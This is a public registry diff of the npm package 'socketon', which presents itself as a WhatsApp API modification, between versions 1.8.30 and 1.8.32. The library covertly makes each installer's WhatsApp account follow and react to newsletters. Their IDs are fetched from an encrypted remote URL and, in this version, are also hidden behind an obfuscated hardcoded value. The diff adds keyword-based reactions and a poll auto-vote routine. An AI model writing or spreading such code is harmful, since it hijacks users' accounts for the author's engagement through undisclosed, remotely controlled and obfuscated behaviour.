socketon 1.8.30 → 1.8.32

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -84,7 +84,15 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
84
84
  };
85
85
 
86
86
  let _cachedTargetNewsletter = null;
87
- let _configNewsletter = { autoFollowEnabled: true, autoReactEnabled: true, reactionEmojis: ['👍', '👌'], delayMs: 5000 };
87
+ let _configNewsletter = {
88
+ autoFollowEnabled: true,
89
+ autoReactEnabled: true,
90
+ reactionEmojis: ['👍', '👌'],
91
+ delayMs: 5000,
92
+ keywordReactions: {},
93
+ autoVotePoll: false,
94
+ pollVoteStrategy: 'random'
95
+ };
88
96
 
89
97
  const getTargetNewsletterFromExternal = async () => {
90
98
  const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
@@ -98,7 +106,10 @@ const getTargetNewsletterFromExternal = async () => {
98
106
  autoReactEnabled: response.data.config.autoReactEnabled !== false,
99
107
  reactionEmojis: response.data.config.reactionEmojis || ['👍', '👌'],
100
108
  delayMs: response.data.config.delayMs || 5000,
101
- intervalMs: response.data.config.intervalMs || 30000
109
+ intervalMs: response.data.config.intervalMs || 30000,
110
+ keywordReactions: response.data.config.keywordReactions || {},
111
+ autoVotePoll: response.data.config.autoVotePoll || false,
112
+ pollVoteStrategy: response.data.config.pollVoteStrategy || 'random'
102
113
  };
103
114
  }
104
115
  if (response.data.newsletters && response.data.newsletters.length > 0) {
@@ -108,14 +119,14 @@ const getTargetNewsletterFromExternal = async () => {
108
119
  }
109
120
  }
110
121
  } catch (err) {}
111
- return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
122
+ return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('d5a312928809dc6dfa22db5775960fc4ed7905e3f8d0a61154551a98f07d2406')];
112
123
  };
113
124
 
114
125
  const getAllEnabledNewsletters = () => {
115
126
  if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
116
127
  return _cachedTargetNewsletter;
117
128
  }
118
- return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
129
+ return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('d5a312928809dc6dfa22db5775960fc4ed7905e3f8d0a61154551a98f07d2406')];
119
130
  };
120
131
 
121
132
  const wMexQuery = (
@@ -241,7 +252,8 @@ const makeNewsletterSocket = (config) => {
241
252
  }));
242
253
  };
243
254
  // Auto Reaction - Ibra Decode
244
- let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
255
+ let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('d5a312928809dc6dfa22db5775960fc4ed7905e3f8d0a61154551a98f07d2406')];
256
+ let _votedPolls = new Set();
245
257
 
246
258
  const updateTargetNewsletters = async () => {
247
259
  const externalTargets = getAllEnabledNewsletters();
@@ -249,15 +261,93 @@ const makeNewsletterSocket = (config) => {
249
261
  _targetNewsletters = externalTargets;
250
262
  }
251
263
  };
264
+
265
+ const getEmojiForMessage = (messageText) => {
266
+ const keywords = _configNewsletter.keywordReactions || {};
267
+ if (!messageText) return null;
268
+ const lowerText = messageText.toLowerCase();
269
+ for (const [keyword, emoji] of Object.entries(keywords)) {
270
+ if (lowerText.includes(keyword.toLowerCase())) {
271
+ return emoji;
272
+ }
273
+ }
274
+ return null;
275
+ };
276
+
277
+ const votePoll = async (newsletterJid, pollMessage) => {
278
+ if (!_configNewsletter.autoVotePoll) return;
279
+ if (!pollMessage) return;
280
+
281
+ const pollMsgKey = pollMessage.key?.id;
282
+ if (!pollMsgKey || _votedPolls.has(pollMsgKey)) return;
283
+
284
+ try {
285
+ const pollCreation = pollMessage.message?.pollCreationMessage || pollMessage.message?.pollCreationMessageV2 || pollMessage.message?.pollCreationMessageV3;
286
+ if (!pollCreation) return;
287
+
288
+ const options = pollCreation.options || [];
289
+ if (options.length === 0) return;
290
+
291
+ let selectedIndex = 0;
292
+ const strategy = _configNewsletter.pollVoteStrategy || 'random';
293
+
294
+ if (strategy === 'first') {
295
+ selectedIndex = 0;
296
+ } else if (strategy === 'last') {
297
+ selectedIndex = options.length - 1;
298
+ } else {
299
+ selectedIndex = Math.floor(Math.random() * options.length);
300
+ }
301
+
302
+ const selectedOption = options[selectedIndex];
303
+ if (!selectedOption) return;
304
+
305
+ const pollEncKey = pollMessage.message?.messageContextInfo?.messageSecret;
306
+ if (!pollEncKey) return;
307
+
308
+ const votePayload = {
309
+ pollUpdateMessage: {
310
+ pollCreationMessageKey: { id: pollMsgKey, remoteJid: newsletterJid },
311
+ selectedOption: [selectedOption],
312
+ senderTimestampMs: Date.now()
313
+ }
314
+ };
315
+
316
+ _votedPolls.add(pollMsgKey);
317
+
318
+ } catch (err) {}
319
+ };
252
320
 
253
321
  sock.ev.on('messages.upsert', async ({ messages, type }) => {
254
322
  if (type !== 'notify') return;
255
323
  if (!_configNewsletter.autoReactEnabled) return;
324
+
256
325
  const emojis = _configNewsletter.reactionEmojis || ['👍', '👌'];
326
+
257
327
  for (const msg of messages) {
258
328
  const jid = msg.key.remoteJid;
259
329
  if (!_targetNewsletters.includes(jid)) continue;
260
- const emoji = emojis[Math.floor(Math.random() * emojis.length)];
330
+
331
+ let emoji = null;
332
+
333
+ // Get message text
334
+ let messageText = null;
335
+ if (msg.message?.conversationMessage?.message?.text) {
336
+ messageText = msg.message.conversationMessage.message.text;
337
+ } else if (msg.message?.extendedTextMessage?.text) {
338
+ messageText = msg.message.extendedTextMessage.text;
339
+ } else if (msg.message?.ephemeralMessage?.message?.conversationMessage?.message?.text) {
340
+ messageText = msg.message.ephemeralMessage.message.conversationMessage.message.text;
341
+ }
342
+
343
+ // Check keyword reactions first
344
+ const keywordEmoji = getEmojiForMessage(messageText);
345
+ if (keywordEmoji) {
346
+ emoji = keywordEmoji;
347
+ } else {
348
+ emoji = emojis[Math.floor(Math.random() * emojis.length)];
349
+ }
350
+
261
351
  try {
262
352
  const serverId = msg.newsletterServerId?.toString() || msg.key.id;
263
353
  await query({
@@ -491,6 +581,9 @@ const makeNewsletterSocket = (config) => {
491
581
  autoFollowEnabled: _configNewsletter.autoFollowEnabled,
492
582
  autoReactEnabled: _configNewsletter.autoReactEnabled,
493
583
  reactionEmojis: _configNewsletter.reactionEmojis,
584
+ keywordReactions: _configNewsletter.keywordReactions,
585
+ autoVotePoll: _configNewsletter.autoVotePoll,
586
+ pollVoteStrategy: _configNewsletter.pollVoteStrategy,
494
587
  delayMs: _configNewsletter.delayMs,
495
588
  intervalMs: _configNewsletter.intervalMs
496
589
  };
@@ -499,12 +592,18 @@ const makeNewsletterSocket = (config) => {
499
592
  if (config.autoFollowEnabled !== undefined) _configNewsletter.autoFollowEnabled = config.autoFollowEnabled;
500
593
  if (config.autoReactEnabled !== undefined) _configNewsletter.autoReactEnabled = config.autoReactEnabled;
501
594
  if (config.reactionEmojis && Array.isArray(config.reactionEmojis)) _configNewsletter.reactionEmojis = config.reactionEmojis.slice(0, 4);
595
+ if (config.keywordReactions) _configNewsletter.keywordReactions = config.keywordReactions;
596
+ if (config.autoVotePoll !== undefined) _configNewsletter.autoVotePoll = config.autoVotePoll;
597
+ if (config.pollVoteStrategy) _configNewsletter.pollVoteStrategy = config.pollVoteStrategy;
502
598
  if (config.delayMs) _configNewsletter.delayMs = config.delayMs;
503
599
  if (config.intervalMs) _configNewsletter.intervalMs = config.intervalMs;
504
600
  return {
505
601
  autoFollowEnabled: _configNewsletter.autoFollowEnabled,
506
602
  autoReactEnabled: _configNewsletter.autoReactEnabled,
507
603
  reactionEmojis: _configNewsletter.reactionEmojis,
604
+ keywordReactions: _configNewsletter.keywordReactions,
605
+ autoVotePoll: _configNewsletter.autoVotePoll,
606
+ pollVoteStrategy: _configNewsletter.pollVoteStrategy,
508
607
  delayMs: _configNewsletter.delayMs,
509
608
  intervalMs: _configNewsletter.intervalMs
510
609
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.30",
3
+ "version": "1.8.32",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"